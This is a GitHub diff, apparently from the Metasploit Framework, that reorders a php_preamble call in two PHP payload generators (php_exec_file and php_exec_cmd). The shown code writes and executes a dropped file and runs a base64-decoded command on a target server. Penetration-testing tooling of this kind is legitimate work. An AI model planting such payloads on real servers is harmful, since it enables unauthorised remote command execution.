File tree Expand file tree Collapse file tree 2 files changed +3
-3
lines changed
modules/payloads/singles/php Expand file tree Collapse file tree 2 files changed +3
-3
lines changed Original file line number Diff line number Diff line change @@ -40,6 +40,7 @@ def php_exec_file
40
40
exename = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 4 )
41
41
dis = '$' + Rex ::Text . rand_text_alpha ( rand ( 4 ) + 4 )
42
42
shell = <<-END_OF_PHP_CODE
43
+ #{ php_preamble ( { :disabled_varname => dis } ) }
43
44
if (!function_exists('sys_get_temp_dir')) {
44
45
function sys_get_temp_dir() {
45
46
if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
@@ -63,7 +64,6 @@ def php_exec_file
63
64
fclose($fd_out);
64
65
chmod($fname, 0777);
65
66
$c = $fname;
66
- #{ php_preamble ( { :disabled_varname => dis } ) }
67
67
#{ php_system_block ( { :cmd_varname => "$c" , :disabled_varname => dis } ) }
68
68
@unlink($fname);
69
69
END_OF_PHP_CODE
Original file line number Diff line number Diff line change @@ -37,9 +37,9 @@ def php_exec_cmd
37
37
cmd = Rex ::Text . encode_base64 ( datastore [ 'CMD' ] )
38
38
dis = '$' + Rex ::Text . rand_text_alpha ( rand ( 4 ) + 4 )
39
39
shell = <<-END_OF_PHP_CODE
40
+ #{ php_preamble ( disabled_varname : dis ) }
40
41
$c = base64_decode("#{ cmd } ");
41
- #{ php_preamble ( { :disabled_varname => dis } ) }
42
- #{ php_system_block ( { :cmd_varname => "$c" , :disabled_varname => dis } ) }
42
+ #{ php_system_block ( cmd_varname : "$c" , disabled_varname : dis ) }
43
43
END_OF_PHP_CODE
44
44
45
45
return Rex ::Text . compress ( shell )
You can’t perform that action at this time.
0 commit comments